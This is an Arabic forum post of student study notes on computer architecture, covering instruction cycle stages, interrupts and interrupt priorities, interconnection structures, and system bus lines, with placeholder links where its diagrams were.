قراءة التعليمة من الذاكرة للمعالج

3- Instruction operation decoding واختصاراها
بـ (iod) راح يقوم بتحليل التعليمة الموجودة عندي عشان يحدد لها
نوع العملية المناسبة لها وطبيعة الحدود اللي راح نعمل عليها العملية

4- Operand address calculation واختصارها ممكن بـ(oac) هنا راح يحدد عنوان الحدود (operand) اللي راح يشتغل عليهم الـ operation واللي ممكن تكون في الذاكرة أو I/O

5- Operand fetch واختصارها بـ (of) راح يقرأ الــ operand اللي
هي الحدود من الذاكرة أو يقرأها من I/O

6- Data operation وتختصر بـ (do) راح يعمل العملية على التعلمية

7- Operand store وتختصر بـ (os)راح يكتب لي الناتج في الذاكرة أو لـ I/O



وعشان تتسهل عليكم العملية هذي حطوا في بالكم حاجة وهي/

أنه الجزء الأعلى من الرسمة اللي هي (if,of,os) راح تحدث فيها عملية
البتادل بين المعالج والذاكرة او I/O


اما الجزء الأسفل من الرسمة واللي هي (iac,iod,oac,do,) راح تحدث فيها
عمليات المعالج


وتلاحظون أنهoac مكررة مرتين -----> لأنها ممكن تستخدم للقراءة الحدود وهذي اللي نستخدمها بالبداية أو لقراءة النواتج وهذي اللي موجودة بالنهاية

وممكن تكون عندنا حد واحد او أكثر .. وممكن كمان يكون عندنا ناتج واحد او اكثر كمان زي ماهو واضح في الرسمة فوق

فمثلاً ناتج الجمع لــ ADD A,B راح يحدث في السلسلة التالية:iac,if,iod,oac,of,oac,of,do,oac,os


امشوا على الرسمة معايا كذا راح تكون حالة السير/

· راح يحدد العنوان للتعليمة اللي يبغى ينفذها iac
· راح يقرأ التعليمة وهذي وظيفة if
· راح يحلل وبيقول هنا العملية هي الجمع iod
· راح يحدد لي عنوان الحد المستخدم عشان يطبق عليها العملية واللي هي A واللي هي oac
· راح يقرا لي محتويات الحد الأول وهوA (of)
· راح يرجع ينزل تحت ويحدد لي عنوان الحد الثاني B (oac)
· راح يقرأ لي محتويات الحد الثاني المخزن فيB (of)
· راح يعمل لي العملية اللي ابغاها do
· راح يحدد لي عنوان ناتج الجمع oac
· وأخر شيء راح يكتب لي الناتج للذاكرة أو لـ I/O
معمارية & تنظيم الحاسبات 3

طيب نجي الحين للجزئية الممتعة من هذا الشبتر واللي هو المقاطعة أو بالانجليزي
------------------------------------------
Interrupts
نظرة سريعة
فكرة المقاطعة ببساطة هي مثلاً لمن تكون جالس تقرا كتاب ويدق تلفون البيت ... راح تحط اشارة لحد وين وصلت وتقفل الكتاب وتجاوب على التلفون الذي بدوره قد يتطلب منك مهمة اخرى وبعد ماتخلص منها ترجع وتكمل قراءة الكتاب من محل ما وقفت

mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/43ee535ded.jpg
يعني تخيل اليوزر بروقرام هو الكتاب اللي كنت تقرأه ...ولمن لوصلت لــ i دق التلفون وجاوبت عليه وبعد انتهائك منه رجعت كملت من محل ماانتهيت ^^
mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/12373f5508.jpg
تعريفها
نفس الفكرة هنا في الحاسب ... وتعريفها هي الميكانيكية اللي ينتجها الكمبيوتر حينما يقطع عملها الطبيعي وحدات أخرى (مثل الذاكرة أو I/O)
المعالج والمقاطعة
واذا كان المقاطعة على وشك ان تحدث ... المعالج يعمل التالي/
1- راح يوقف لي سير البرنامج الحالي ويحفظ لي محتوياته.
2- PC راح يبدأ يأشر لي على عنوان البداية للمقاطع المفروض يبدأ في تنفيذه
3- بيبدأ لي في تنفيذ المقاطع
4- بعد مايخلص راح يرجع ويكمل البرنامج اللي كنا شغالين عليه قبل عملية المقاطعة
mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/d2a61e42ce.jpg
في الرسمة اللي فوق ... هي دورة التعليمة لمن تتنفذ لكن مع المقاطعة
وهي تشبه بالضبط رسمة 3.3 بس اللهم هنا معانا المقاطعة
فبعد مالعملية عندي تتنفذ خلاص راح يشوف لو في مقاطعة والا لأ ؟؟
لو طلع فيه مقطاطعة راح ينفذ المقاطعة أول بعدين يرجع يكمل البرنامج الاساسي
ولو ماطلع فيه مقاطعة ، راح يروح على طول ويعمل قراءة للتعليمة اللي بعدها ... وهكذا
Multiple Interrupts
طيب أخذنا فوق لمن يكون عندي مقاطعة وحدة في تنفيذ برنامج معين ... فايش رايكم لمن يكون عندي كذا واحد في ذلك الوقت ...؟ كيف راح يتصرف وايش راح يتعامل المعالج معاها ؟؟
في طريقتين في طريقة تعامل المعالج مع المقاطعات المتكررة في وقت تنفيذ برنامج معين:
الاولى :disable interrupt
يعني الحين لمن اكون فاتحة برنامج وأنفذه ويجيني مقاطعتين في وقت واحد ... راح ينفذ اللي جا أول وبعد مايخلصه راح يمسك الثاني وينفذه لي وهكذا ...
يعني نقدر نسميها أنه جالس ينفذ لي المقاطعات تسلسلياً كما في هذي الصورة:
mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/ca244ce996.jpg
الثانية: define priorities
هنا راح يعرّف لي الأوليات ..ويشوف لي المقاطعة الأهم وينفذها ... يعني حتى ولو البرنامج الأساسي قاطعه تنفيذ برنامج اخر وجات مقاطعة ثانية أهم من هذي المقاطعة .. راح يقطعها لي وينفذ الاهم وبعدين يرجع للمقاطعة الاقل أهمية ويكمل تنفيذها وبعدين خلاص يرجع للبرنامج الأساسي كما في الصورة ..

mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/7c96be699f.jpg
يعني هنا لمن يتوفر عندي مقاطعتين مقاطعة الاهم ومقاطعة أقل أهمية ، لكن اللي وصل أول هي الأقل اهمية فالمعالج راح ينفذ المقاطعة الأقل أهمية حتى توصل المقاطعة الأاهم ويصيرالمعالج يقطع تنفيذ المقاطعة الاقل أهمية ويروح للاهم حتى ننتهي منها ..>>>> أحس اني صرت مملة من كثر ما اعيد بس ان شاء الله يرسخ
شوفوا هذي الصورة وان شاء الله تفهمونها اكثر .. ^^
mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/9c590c862a.jpg
وخلاص عليي شبتر 5 ان شاء الله ^^

--------------------------------

3.3 Interconnection Structures
طيب للآن اكيد ترسخ في اذهاننا انه من أهم مكونات الحاسب الاساية هي:

المعالج،الذاكرة،I/O التي ترتبط مع بعضها البعض ... ولكي يحدث هذا
لابد من وجود طريق لربطهم وهذا مانسميه بالــ interconnection structure

وديزاين هذا التركيب يعتمد على طبيعة عملية التبادل بين الوحدات..

فشوفوا مثلاً هذي الصورة تعرض لي طبيعة التابدل لكل وحدة من الوحداآت وهذا كل يتم
بواسطة الناقل ولولاه لما قدرت الوحدات تتصل ببعضها ...

mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/b5a7b39e40.jpg


الرسمة الاولى / الذاكرة

الأسهم اللي قبل المربع هذي وحدات أخرى خارجية تعمل ACCESS للذاكرة وتستفيد منها ،، اما اللي خارج من المربع فهي الذاكرة نفسها تعملها

1- عدنا اللي داخل المربع:
* ممكن يستقبل اشارات للقراءة أو الكتابة
يعني ممكن اي جهاز خارجي يطلب من الذاكرة أنه يقرأ شيء من الذاكرة أو أنه يكتب شيء معين للذاكرة
* ممكن يستقبل مكان أو العنوان تبع العملية اللي أبغى أسويها
* او ممكن كمان يستقبل البيانات


2- خارج المربع :
ولو تلاحظون اللي طالع من المربع ممكن الذاكرة ترسل البيانات لأي وحدة من الوحداآت

الرسمة الثانية/ وحدات الادخال والاخراج

Internal data
يعني البيانات اللي تكون من داخل الجهاز
External data
يعني البيانات اللي تكون من خارج الكمبيوتر ونقدر نحصل عليها من الوحدات الملحقة
طيب نشوف ايش ممكن يصير من تبادلات:

1- عدنا اللي داخل المربع:
* ممكن يستقبل اشارات للقراءة أوالكتابة
* يستقبل بيانات من الكمبيوتر
* يستقبل بيانات من الوحدات الملحقة الخارجية
* ممكن يستقبل مكان أو العنوان تبع العملية اللي أبغى أسويها

2- خارج المربع :
* يرسل بيانات الى الكمبيوتر
* يرسل بيانات الى الوحدات الملحقة الخارجية
* يرسل اشارات المقاطعة الى المعالج


الرسمة الثانية/ المعالج

1- عدنا اللي داخل المربع:

* راح يقرا المعالج التعليمات والبيانات
* وبيستقبل اشارات المقاطعة من مختلف الأجهزة

2- خارج المربع :

* راح يعرض لي البيانات بعد ماتتم عليها عملية المعالجة
* يرسل اشارات التحكم لمختلف الاجهزة
* ممكن يستقبل مكان أو العنوان تبع العملية اللي أبغى أسويها
والناقل لابد من انه يدعم عمليات النقل التالية:

1- من الذاكرة الى المعالج
2- ومن المعالج الى الذاكرة
3- من I/O الى المعالج
4- من المعالج الى I/O
5- من I/O إلى الذاكرة والعكس


3.4 Bus interconnection

هذ1ي الجزئية أخذنها باختصار ومن دون تفصيل ... لكن ان تحبو نناقض نناقش مع بعض

أول شيء الــ (Bus) معناتها ناقل .. وهو الممر اللي يتصل بين وحدتين أو أكثر

ويعتبر وسط للارسال المشترك .. فعدنا عدة أجهزة تتصل بالناقل
الناقل الواحد يحتوي على عدة خطوط أو ممرات اتصال
وكل خط منها يقدريرسل اشارات وهذي الاشارات تمثل بــ 0 أو 1
والناقل اللي يصل أجزاء الحاسب الاساسية واللي هم: المعالج والذاكرة واجهزة الادخال والاخراج يسمى System Bus



طيب نجي الحين لتركيب الناقل (Bus):

الناقل يحتوي على من 50 الى مئات الخطوط .. وكل خط منها لها معنى معين او وظيفة معينة ،وكل خط من هذي الخطوط تتقسم الى 3 وظائف اساسية مثل ماتشوفون في هذي الصورة:

mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/0b65ec4963.jpg




Data Line
يوفر لنا طريق لتحرك ونقل البياناتو التعليمات بين الوحدات
و width يعتمد عليه كثير في انه يكون الأداء عالي

Address Line
يستخدم لتحديد المصدر و اتجاه البيانات في ناقل البيانات .. فعندما يحتاج المعالج أن يقرأ من الذاكرة ، عنوان البيانات اللي يبغاها راح تنحط في الــ Address Line

Control Line
يستخدم ليتحكم في الوصول من والى Address & Data lines
وهناك نوعين من اشارات التحكم:

Timing و Command
Timing .... راح يحدد لي مدى صحة البيانات والعنوانين
Command ..... يحدد لي العملية اللي نبغى نسويها


تمنيت أشرح هذي الجزئية أكثر ... لكني مو مرة متمكنة منها ^

ويُفضل استخدام نواقل متعددة في الجهاز ومعروف حالياً أنه أغلب أجهزة الحاسب
متوفرة فيها هذا الشيء للاسباب التالية/

1- يقلل لي من عملية التاخير الحاصلة لمن يكون عندي ناقل واحد
2- وبيقلل كمان من اختناق البيانات داخل الناقل


الواجب :
ابغى أحد شرح لي هذي الرسمة ؟

mhtml:file://F:\معماريه\هندسة%20معمارية%20&%20تنظيم%20الحاسبات%203%20-%20منتديات%20الحاسب%20الالي%20و%20نظم%20المعلومات.mht!http://www.uqucs.net/upp/uploads/ac17034171.jpg
الشرح منقول
welcome
Loading...